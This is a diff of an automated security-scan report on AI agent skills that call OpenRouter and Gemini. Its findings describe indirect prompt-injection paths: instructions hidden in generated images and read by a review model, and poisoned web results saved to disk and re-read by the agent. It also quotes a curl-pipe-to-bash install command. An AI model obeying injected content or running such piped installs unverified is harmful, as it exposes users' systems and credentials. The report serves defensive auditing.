.env file loading mechanism searches multiple filesystem locations which could be exploited.+ > File: `scripts/generate_schematic_ai.py:75`+ > **Remediation:** Pin the requests library version in requirements. Document the specific model versions being used and implement checks if model behavior changes. Restrict .env file loading to the skill's own directory only. Consider implementing model response validation to detect unexpected behavior changes.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: User Prompt Data Sent to External AI Services+ > The skill creates a two-script chain (generate_schematic.py → generate_schematic_ai.py) that takes user-provided prompt text and transmits it to external AI services (openrouter.ai) using models 'google/gemini-3.1-flash-image-preview' and 'google/gemini-3.1-pro-preview'. The user's diagram descriptions, which may contain sensitive research details, are sent to third-party servers. Additionally, the review step sends generated images back to the same external service, creating a bidirectional data flow with an external party.+ > File: `scripts/generate_schematic_ai.py:165`+ > **Remediation:** Clearly disclose in the SKILL.md description that user data is transmitted to external third-party services (OpenRouter, Google). Obtain explicit user consent before transmitting any data. Consider adding a confirmation prompt before sending data externally. Document data retention policies of the external services.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Harvesting with External Network Transmission+ > The scripts access the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (openrouter.ai). While the stated purpose is to authenticate API calls, the pattern of reading environment variables and sending them over the network constitutes a data exfiltration risk. The API key is passed in HTTP Authorization headers to an external server, and the code also reads the full os.environ.copy() and passes it to subprocess calls. Any sensitive environment variables present in the user's environment could be exposed.+ > File: `scripts/generate_schematic_ai.py:180`+ > **Remediation:** Restrict environment variable access to only the specific key needed. Avoid passing the full os.environ.copy() to subprocess calls. Consider using a secrets manager rather than environment variables. Validate that the API endpoint is the expected one before transmitting credentials.++- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via AI-Generated Image Review Content+ > The skill sends user-provided prompts to an external AI model to generate images, then sends those generated images to another AI model (Gemini 3.1 Pro Preview) for quality review. The critique text returned from the review model is then used to construct new prompts via improve_prompt(). This creates an indirect prompt injection vector: a malicious actor could craft inputs that cause the image generation model to embed instructions in the generated image, which are then read by the review model and incorporated into subsequent prompts.> File: `scripts/generate_schematic_ai.py:310`- > **Remediation:** Treat AI-generated critique text as untrusted external input. Parse structured fields (score, verdict) separately from free-form critique text. Do not concatenate raw AI-generated text into subsequent prompts without validation. Use structured output schemas for the review model response.+ > **Remediation:** Treat AI-generated critique text as untrusted input. Do not directly interpolate external AI responses into new prompts without sanitization. Implement a structured output format for the review model and validate/parse its response before using it in subsequent prompts.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/peer-review/scripts/generate_schematic.py@@ -901,41 +917,36 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Skill Activation Guidance May Cause Unintended Invocation- > The SKILL.md contains extensive guidance directing the agent to use 'latex-posters' skill for most poster requests, and to use this skill ONLY for explicit PPTX requests. However, the description field in the YAML manifest mentions 'research posters' broadly, which could cause the skill to be activated by general poster queries before the agent reads the detailed instructions. The description could be more restrictive to match the narrow activation criteria defined in the instructions.+ > The SKILL.md contains extensive guidance about when NOT to use this skill (redirecting to latex-posters), but also contains broad trigger conditions. The description field mentions 'Use this skill ONLY when the user explicitly requests PowerPoint/PPTX poster format' but the skill's own instructions define multiple alternative activation conditions including 'HTML-based poster' and 'non-LaTeX solution' which could broaden unintended activation beyond the stated PPTX-only scope.> File: `SKILL.md`- > **Remediation:** Make the YAML description more restrictive and specific (e.g., 'Create PPTX/PowerPoint format research posters only - for standard posters use latex-posters skill') to reduce unintended activation by general poster queries.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Arguments- > The wrapper script (generate_schematic.py) constructs a subprocess command using user-provided arguments (prompt, output path, doc-type, iterations) and passes them directly to generate_schematic_ai.py via subprocess.run(). While the arguments are passed as a list (not shell=True), the output path and prompt are user-controlled and passed without validation, which could lead to path traversal or argument injection issues depending on how the downstream script handles them.- > File: `scripts/generate_schematic.py`- > **Remediation:** Validate and sanitize the output path to prevent path traversal (e.g., ensure it stays within the working directory). Validate the prompt does not contain shell metacharacters even though shell=False is used. Consider using absolute paths and restricting output locations.+ > **Remediation:** Tighten the activation criteria to match the description. If the skill is truly PPTX-only, remove the broader HTML/non-LaTeX activation conditions or clearly separate them.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Harvesting via Environment Variable and Network Transmission- > The scripts read the OPENROUTER_API_KEY environment variable and transmit it as a Bearer token in HTTP requests to openrouter.ai. While the stated purpose is AI image generation, the pattern of reading sensitive credentials from the environment and sending them over the network represents a credential exposure risk. The API key is passed through subprocess calls and environment copies, creating multiple points where it could be intercepted or logged. Additionally, the script accepts --api-key as a CLI argument, which would expose the key in process listings (though the wrapper script does attempt to pass it via environment instead).- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Ensure the skill clearly discloses to users that their OPENROUTER_API_KEY will be transmitted to openrouter.ai. Validate the destination URL is strictly openrouter.ai before sending credentials. Remove the --api-key CLI flag to prevent key exposure in process listings. Consider using a secrets manager or keyring instead of environment variables.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Passed via --api-key CLI Flag Risk+ > Both generate_schematic.py and generate_schematic_ai.py accept an --api-key command-line argument. When an API key is passed via CLI arguments, it may be visible in process listings (ps aux), shell history, and system logs. While the wrapper script (generate_schematic.py) passes the key via environment variable to the subprocess (which is safer), the inner script still accepts it directly via --api-key flag which could expose it.+ > File: `scripts/generate_schematic.py:68`+ > **Remediation:** Remove the --api-key CLI flag from both scripts and require exclusive use of the OPENROUTER_API_KEY environment variable. Document this in the skill README.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — User-Controlled Prompt Content Sent to External AI API- > The user's prompt (diagram description) is passed directly to an external API (openrouter.ai) without sanitization or disclosure. Any content the user provides — including potentially sensitive research data, proprietary information, or confidential details — is transmitted to a third-party service. The skill does not warn users that their input will be sent externally. The cross-file chain (generate_schematic.py → generate_schematic_ai.py) means user input flows from the wrapper to the AI backend transparently.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Add explicit disclosure in SKILL.md that user prompts and poster content will be transmitted to openrouter.ai (a third-party service). Allow users to opt out or confirm before sending data externally. Document data handling and privacy implications clearly.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency (requests library)+ > The script imports the 'requests' library without any version pinning. The install instruction shown in the error message ('pip install requests') does not specify a version. While requests is a well-known package, unpinned dependencies are a supply chain risk. Additionally, the optional 'python-dotenv' package is imported without version pinning.+ > File: `scripts/generate_schematic_ai.py:18`+ > **Remediation:** Pin dependency versions (e.g., requests==2.31.0) and provide a requirements.txt with hashed dependencies. Document all required packages in the skill manifest.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — User-Provided Prompt Content Injected into AI Model Requests Without Sanitization- > The user's natural language prompt describing the diagram is embedded directly into structured AI model requests sent to external APIs. The prompt is also augmented with SCIENTIFIC_DIAGRAM_GUIDELINES and review prompts that include the original user prompt verbatim. A malicious user could craft a prompt containing instruction-injection payloads targeting the downstream AI models (Gemini 3.1 Pro Preview, Nano Banana 2), potentially manipulating the quality review scores or causing the review model to produce unexpected outputs that are then logged and processed.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Sanitize or delimit user-provided prompt content before embedding it in structured AI requests. Consider wrapping user input in clear delimiters and instructing the model to treat it as data, not instructions. Validate that extracted scores and verdicts conform to expected formats before acting on them.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Transmitted via Network Requests with Potential Exposure+ > The scripts read the OPENROUTER_API_KEY from environment variables and transmit it as a Bearer token in HTTP Authorization headers to openrouter.ai. While the key is passed via environment (not process args), the HTTP-Referer header hardcodes 'https://github.com/scientific-writer' which could be used for tracking. More importantly, the API key is included in every outbound request, and the user prompt content (which may contain sensitive research data) is sent to an external third-party API (openrouter.ai) without any user consent notice or data handling disclosure.+ > File: `scripts/generate_schematic_ai.py:130`+ > **Remediation:** Add explicit user disclosure that prompts and content are sent to openrouter.ai. Document data handling in SKILL.md. Consider making the HTTP-Referer configurable rather than hardcoded. Validate that the API endpoint URL cannot be overridden by user input.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency (requests library)- > The script imports the 'requests' library without a pinned version requirement. The error message suggests installing via 'pip install requests' without specifying a version. Unpinned dependencies are vulnerable to supply chain attacks where a compromised or malicious version could be installed.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** Pin the requests library to a specific known-good version (e.g., requests==2.31.0) in a requirements.txt file. Use a lockfile or hash verification to ensure dependency integrity.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — User Research Content Exfiltrated to External Third-Party API+ > The generate_schematic_ai.py script sends user-provided prompts (which may contain sensitive unpublished research data, proprietary methods, or confidential findings) to the OpenRouter API, which then routes to Google Gemini models. The skill's SKILL.md instructs the agent to include detailed research content in these prompts (methods, results, conclusions). There is no warning to users that their research content will be transmitted to external services. The review step also sends generated images back to Gemini 3.1 Pro Preview for quality analysis, creating a second data transmission path.+ > File: `scripts/generate_schematic_ai.py:155`+ > **Remediation:** Add a prominent disclosure in SKILL.md and at runtime that user content is sent to openrouter.ai/Google Gemini. Allow users to opt out or use local generation. Document what data is retained by the third-party services.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/pptx-posters/scripts/generate_schematic.py@@ -956,41 +967,46 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 6 files> Environment variable access with network calls in examples.py, lookup.py, research_lookup.py, scripts/generate_schematic.py, scripts/research_lookup.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: examples.py, scripts/generate_schematic.py, scripts/research_lookup.py, scripts/generate_schematic_ai.py, lookup.py, research_lookup.py+ > **Remediation:** Review data flow across files: scripts/research_lookup.py, scripts/generate_schematic_ai.py, lookup.py, examples.py, scripts/generate_schematic.py, research_lookup.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 6 files> Multi-file exfiltration chain detected: examples.py, lookup.py, research_lookup.py, scripts/generate_schematic.py, scripts/research_lookup.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → research_lookup.py, scripts/research_lookup.py, scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: examples.py, scripts/generate_schematic.py, scripts/research_lookup.py, scripts/generate_schematic_ai.py, lookup.py, research_lookup.py+ > **Remediation:** Review data flow across files: scripts/research_lookup.py, scripts/generate_schematic_ai.py, lookup.py, examples.py, scripts/generate_schematic.py, research_lookup.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Skill References Non-Existent 'scientific-schematics' Companion Skill- > The SKILL.md instructions reference a 'scientific-schematics' skill as a complementary tool and instruct the agent to 'always consider adding scientific diagrams' using it. This creates an implicit dependency on an external skill that may not be installed, and the instruction to 'always' use it could cause the agent to attempt to invoke a non-existent skill or generate unexpected behavior. The generate_schematic.py script is bundled locally, but the SKILL.md references it as if it were a separate skill.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Research Query Results Written to Disk and Re-Read Without Sanitization+ > The skill mandates saving all research results to a sources/ folder and explicitly instructs the agent to re-read saved files before making new queries ('Check sources/ for existing results before making new API calls'). Research results come from external web sources via parallel-cli and Perplexity/OpenRouter. If a malicious web page is indexed and returned as a search result, its content (including potential prompt injection payloads) would be saved to disk and later re-read by the agent, creating an indirect prompt injection vector through the saved sources files.> File: `SKILL.md`- > **Remediation:** Clarify in the instructions that the schematic generation is handled by the bundled scripts/generate_schematic.py rather than a separate skill. Remove or qualify the reference to 'scientific-schematics' skill to avoid agent confusion about available capabilities.+ > **Remediation:** Implement content sanitization when re-reading saved research files. Treat saved research content as untrusted data. Consider wrapping re-read content in clear delimiters that signal to the agent it is external/untrusted data, not instructions.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Tool Installation via curl Pipe to Bash- > The SKILL.md instructions recommend installing parallel-cli via 'curl -fsSL https://parallel.ai/install.sh | bash' without any integrity verification (no checksum, no signature verification). This is a supply chain risk — if the install.sh script at parallel.ai is compromised or the domain is hijacked, arbitrary code could be executed on the user's machine. An alternative 'uv tool install' method is also provided without version pinning.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Skill Cross-Promotes Another Skill (scientific-schematics) Without Explicit User Request+ > The SKILL.md instructions include a directive to automatically consider using the scientific-schematics skill when creating documents, even when the user has not requested diagram generation. This represents capability inflation - the skill attempts to activate additional agent capabilities beyond its stated research lookup purpose.> File: `SKILL.md`- > **Remediation:** Provide a pinned version for the uv install command (e.g., 'uv tool install parallel-web-tools[cli]==X.Y.Z'). Document the expected checksum or signature for the install script. Prefer the package manager approach over curl-pipe-bash. Add a note warning users to verify the installation source.+ > **Remediation:** Remove the automatic cross-skill promotion directive. Only invoke other skills when explicitly requested by the user. The research-lookup skill should focus on its stated purpose of research information retrieval.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Installation of parallel-cli via Curl-Pipe-Bash+ > The SKILL.md instructions direct the agent to install parallel-cli using a curl-pipe-bash pattern without version pinning or integrity verification. This is a supply chain risk: if the install script at parallel.ai/install.sh is compromised or if the URL is intercepted (MITM), arbitrary code could be executed on the user's machine.+ > File: `SKILL.md`+ > **Remediation:** Provide a checksum/hash verification step after download. Pin to a specific version. Prefer the uv tool install method with a pinned version (e.g., parallel-web-tools[cli]==X.Y.Z) over the curl-pipe-bash pattern.- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — User Query Text Transmitted to External APIs Without Explicit Consent Mechanism- > The skill transmits user research queries directly to external third-party APIs (api.parallel.ai via PARALLEL_API_KEY and openrouter.ai via OPENROUTER_API_KEY). While this is disclosed in the SKILL.md description, the actual query content — which may contain sensitive research topics, proprietary information, or confidential data — is sent to these external services. The skill does not implement any sanitization, filtering, or user confirmation before transmitting query content externally. This is partially mitigated by the upfront disclosure in the manifest description.+ > The skill transparently discloses in its manifest description that query text is transmitted to api.parallel.ai (PARALLEL_API_KEY) and openrouter.ai (OPENROUTER_API_KEY). While this is disclosed in the description, the skill automatically routes all user research queries to these external services without any per-query confirmation or user consent mechanism. Any research query the user makes is sent to third-party APIs, which may include sensitive research topics or proprietary information.> File: `research_lookup.py`- > **Remediation:** Add explicit user confirmation before transmitting queries to external APIs, especially for sensitive research topics. Consider adding a data classification check or warning when queries may contain proprietary information. Document data retention policies for both api.parallel.ai and openrouter.ai.+ > **Remediation:** The disclosure in the manifest description is a positive step. Consider adding an explicit user confirmation prompt before transmitting queries to external services, especially for sensitive research topics. Document data retention policies for both api.parallel.ai and openrouter.ai.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Keys Read from Environment Variables and Transmitted in HTTP Headers- > The skill reads PARALLEL_API_KEY and OPENROUTER_API_KEY from environment variables and uses them in HTTP Authorization headers. While this is standard practice, the keys are passed directly into requests without any validation, masking in logs, or rotation support. The generate_schematic.py script also passes the API key via environment to subprocess calls, which is the correct approach, but the key is still present in the process environment.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Keys Read from Environment Variables and Transmitted in HTTP Headers+ > The skill reads PARALLEL_API_KEY and OPENROUTER_API_KEY from environment variables and embeds them directly in HTTP Authorization headers for external API calls. While this is standard practice, the keys are used across multiple files (research_lookup.py, scripts/research_lookup.py, lookup.py, scripts/generate_schematic_ai.py), creating a broad attack surface. If any of these scripts are compromised or if the environment is accessible to malicious content, the API keys could be exfiltrated.> File: `research_lookup.py`- > **Remediation:** Validate that API keys are non-empty and match expected format before use. Avoid logging API keys. Consider using a secrets manager rather than raw environment variables. The HTTP-Referer header 'https://scientific-writer.local' is a non-existent domain used as an identifier — document this clearly to avoid confusion.+ > **Remediation:** Centralize API key management to a single location. Consider using a secrets manager rather than environment variables. Ensure API keys have minimal required permissions and implement key rotation policies.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Research Results Saved to Local Filesystem Without Path Validation- > The skill mandates saving all research results to a 'sources/' folder using the -o flag. The output file path is constructed using user-provided topic strings (e.g., 'sources/research_<topic>.json'). While the topic is used in filenames rather than executed, there is no validation or sanitization of the topic string used in file paths, which could lead to path traversal if a malicious topic string like '../../../etc/passwd' is used as a filename component.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Duplicate Code Across Multiple Files Increases Attack Surface+ > The core ResearchLookup class is duplicated verbatim in both research_lookup.py (root) and scripts/research_lookup.py. This duplication means any security fix must be applied in multiple places, and the broader file surface area increases the risk of inconsistent security posture. Both files access environment variables and make external network calls.> File: `research_lookup.py`- > **Remediation:** Sanitize output file paths to prevent path traversal. Use os.path.basename() on user-provided filename components, or validate that the resolved path stays within the intended 'sources/' directory using os.path.realpath() and checking the prefix.+ > **Remediation:** Consolidate the ResearchLookup implementation into a single canonical file and import from it. This reduces maintenance burden and ensures security fixes are applied consistently.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Batch Query Processing Without Rate Limiting or Resource Bounds- > The batch_lookup() method accepts an unbounded list of queries and processes them sequentially with only a configurable delay between requests. There is no maximum batch size limit, no total timeout, and no circuit breaker. A large batch could exhaust API rate limits, incur significant costs, or cause extended blocking of the agent. The default delay of 1.0 second is minimal protection.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Python Package Dependencies+ > The scripts use 'from openai import OpenAI' and 'import requests' without any version pinning or requirements file with pinned versions visible in the skill package. Unpinned dependencies are vulnerable to dependency confusion attacks or malicious updates to these packages.> File: `research_lookup.py`- > **Remediation:** Add a maximum batch size limit (e.g., 20 queries). Implement a total timeout for batch operations. Add cost estimation before executing large batches. Consider adding a user confirmation prompt for batches exceeding a threshold size.+ > **Remediation:** Include a requirements.txt with pinned versions (e.g., openai==1.x.x, requests==2.x.x). Use hash-pinned dependencies for production environments.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/research-lookup/examples.py@@ -1041,36 +1057,41 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Activation Promotion: Unsolicited scientific-schematics Skill Invocation- > The SKILL.md instructions contain a prominent section that instructs the agent to automatically invoke a separate 'scientific-schematics' skill and run generate_schematic.py by default for any document created with this skill, even when the user has not requested diagrams. The instruction states 'Scientific schematics should be generated by default' and 'always consider adding scientific diagrams.' This is a form of capability inflation / cross-skill activation abuse that causes the agent to invoke additional tools and skills beyond the user's stated request, potentially triggering additional API calls and resource consumption without explicit user consent.+- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Undisclosed External Service Dependency and Capability Inflation+ > The SKILL.md manifest does not declare network access, external API dependencies, or the use of OpenRouter/Gemini services in its allowed-tools or compatibility fields. The skill description presents itself as a scholarly evaluation framework but silently bundles AI image generation capabilities that make external API calls. The instructions promote 'Nano Banana Pro' as an automatic feature without disclosing the external service dependency, API key requirement, or data transmission to third-party servers.> File: `SKILL.md`- > **Remediation:** 1. Change the instruction from 'by default' and 'always' to 'when explicitly requested by the user.' 2. Require explicit user opt-in before invoking the scientific-schematics skill or running generate_schematic.py. 3. Do not instruct the agent to automatically chain to other skills without user confirmation.+ > **Remediation:** Add explicit disclosure in the SKILL.md manifest about external API dependencies (OpenRouter, Gemini). List network access in allowed-tools or compatibility fields. Inform users that API keys are required and that data (prompts, images) will be transmitted to third-party services before invoking the schematic generation feature.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: generate_schematic.py Delegates to generate_schematic_ai.py- > The generate_schematic.py script acts as a launcher that invokes generate_schematic_ai.py via subprocess, passing the API key through the environment. This two-file chain means the full credential and network call behavior is split across files, making it harder to audit. The parent script (generate_schematic.py) explicitly copies os.environ and injects the API key before spawning the child process. This pattern is consistent with a credential-passing exfiltration chain flagged by static analysis.- > File: `scripts/generate_schematic.py`- > **Remediation:** 1. Consolidate the two scripts into one to improve auditability. 2. Document the subprocess invocation pattern clearly. 3. Avoid copying the entire os.environ (which may contain unrelated secrets) — pass only the specific required variables.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Input+ > In generate_schematic.py, the user-supplied prompt (args.prompt) is passed as a command-line argument to a subprocess invocation of generate_schematic_ai.py. While the prompt is passed as a positional argument (not via shell=True), user-controlled data flows into subprocess arguments, which could be manipulated if shell interpretation is ever introduced or if the downstream script processes the argument unsafely.+ > File: `scripts/generate_schematic.py:82`+ > **Remediation:** Validate and sanitize the prompt argument before passing it to subprocess. Ensure shell=True is never used with user-supplied input. Consider passing the prompt via stdin or a temporary file rather than as a command-line argument to reduce injection surface.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with External Network Calls- > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and uses it to make outbound HTTP requests to openrouter.ai. While the stated purpose is AI image generation, the combination of environment variable harvesting and network calls represents a data flow that could expose API keys or other environment variables to an external service. The API key is passed in Authorization headers to an external third-party service (openrouter.ai), and the script also reads from .env files on disk. If the API key or .env file contains sensitive credentials beyond just the OpenRouter key, this could result in unintended credential exposure.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Clearly document in SKILL.md that this skill makes outbound network calls to openrouter.ai and requires an API key. 2. Scope the .env file loading to only the specific key needed. 3. Avoid loading .env files from the current working directory (cwd), as this could pick up unrelated project secrets. 4. Add user confirmation before making external API calls with credentials.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Environment Variable Exfiltration Chain+ > The skill implements a two-stage exfiltration chain: generate_schematic.py reads OPENROUTER_API_KEY from the environment and passes it to generate_schematic_ai.py via subprocess with env=env. The second script then uses this key to make authenticated requests to an external server. This multi-file chain obscures the full credential flow and makes static analysis harder. The static analyzer flagged this as BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN.+ > File: `scripts/generate_schematic.py:98`+ > **Remediation:** Flatten the architecture to a single script if possible. Document the full data flow in the manifest. Avoid passing credentials through subprocess environment copies when direct function calls would suffice. Clearly disclose all external network endpoints in the skill manifest.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded External API Calls with Iterative Refinement Loop- > The generate_schematic_ai.py script implements an iterative refinement loop that makes multiple calls to external AI APIs (image generation + quality review per iteration). While the maximum iterations are capped at 2, each iteration makes at least 2 API calls (one to gemini-3.1-flash-image-preview for generation, one to gemini-3.1-pro-preview for review). Combined with the SKILL.md instruction to generate schematics 'by default' for all documents, this could result in unexpected API cost consumption and compute resource usage without explicit user awareness.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Inform users of the number of API calls and associated costs before execution. 2. Require explicit user confirmation before initiating the iterative generation loop. 3. Default to a single iteration (--iterations 1) unless the user explicitly requests refinement.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls+ > The scripts generate_schematic.py and generate_schematic_ai.py read the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (https://openrouter.ai/api/v1). While the stated purpose is AI image generation, the pattern of harvesting an API key from the environment and sending it to an external server constitutes a credential exfiltration risk. The key is passed in Authorization headers to external servers, and the cross-file chain (generate_schematic.py delegates to generate_schematic_ai.py) obscures the full data flow.+ > File: `scripts/generate_schematic_ai.py:95`+ > **Remediation:** Ensure the API key is only used for its stated purpose and that the endpoint (openrouter.ai) is clearly disclosed to users. Add explicit user consent before transmitting credentials. Consider scoping the key to minimum required permissions and documenting the external service dependency in the SKILL.md manifest.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency: requests Library- > The generate_schematic_ai.py script imports the 'requests' library without any version pinning in the skill package. There is no requirements.txt or setup.py visible in the skill package that pins this dependency. Unpinned dependencies are vulnerable to supply chain attacks where a compromised or malicious version of the package could be installed.- > File: `scripts/generate_schematic_ai.py:14`- > **Remediation:** 1. Include a requirements.txt file in the skill package with pinned versions (e.g., requests==2.31.0). 2. Consider using a virtual environment or dependency lockfile. 3. Document the required Python environment in SKILL.md.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — User Prompt Data Transmitted to External AI Services+ > User-provided diagram descriptions (prompts) are transmitted to external AI services (OpenRouter/Gemini) without explicit user consent or disclosure in the skill manifest. If users include sensitive research content in their diagram descriptions, this data leaves the local environment and is processed by third-party AI providers.+ > File: `scripts/generate_schematic_ai.py:200`+ > **Remediation:** Add a clear disclosure in SKILL.md that user prompts and diagram descriptions will be transmitted to OpenRouter and Google Gemini APIs. Provide an opt-out mechanism or local generation alternative. Include data handling information in the skill manifest.++- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded API Call Loop with External Resource Consumption+ > The generate_iterative method in generate_schematic_ai.py makes multiple sequential API calls (up to 2 iterations by default, enforced as max). Each iteration involves at least two API calls: one for image generation and one for quality review. While the maximum is capped at 2, the review_image method makes an additional API call per iteration, meaning up to 4 external API calls per invocation. If called repeatedly or in batch, this could result in significant resource consumption and API cost exhaustion.+ > File: `scripts/generate_schematic_ai.py:280`+ > **Remediation:** The current cap of 2 iterations is reasonable. Consider adding rate limiting, cost estimation warnings, and explicit user confirmation before making multiple API calls. Document the expected API call count per invocation in the skill description.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/scholar-evaluation/scripts/generate_schematic.py@@ -1091,41 +1112,31 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency: requests Library- > The script requires the 'requests' library but specifies no version constraint. The example_usage.sh script instructs users to install it with 'pip install requests' without a version pin. An unpinned dependency could allow installation of a compromised or incompatible version.+ > The skill instructs users to install the 'requests' library without a version pin (pip install requests). Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be installed. The example_usage.sh script comment states 'Install requests: pip install requests' with no version specification.> File: `scripts/example_usage.sh:5`- > **Remediation:** Pin the requests library to a specific known-good version (e.g., 'pip install requests==2.31.0') and provide a requirements.txt file with pinned dependencies for reproducible installations.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Subprocess Execution with User-Controlled Arguments- > In generate_schematic.py, the user-supplied prompt argument is passed as a command-line argument to a subprocess call. While the API key is passed via environment variable (good practice), the prompt itself is passed as a positional argument in the command list. On some systems or with certain shell configurations, this could be exploited if the subprocess handling is not robust, though the use of a list (not shell=True) mitigates direct shell injection.- > File: `scripts/generate_schematic.py:95`- > **Remediation:** The current use of a list argument (not shell=True) is correct and mitigates shell injection. However, validate and sanitize the prompt argument before passing it to subprocess. Consider adding length limits and character validation on the prompt input.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — References Non-Existent AI Models (Capability Inflation)- > The skill description and code reference 'Nano Banana 2 AI' and 'Gemini 3.1 Pro 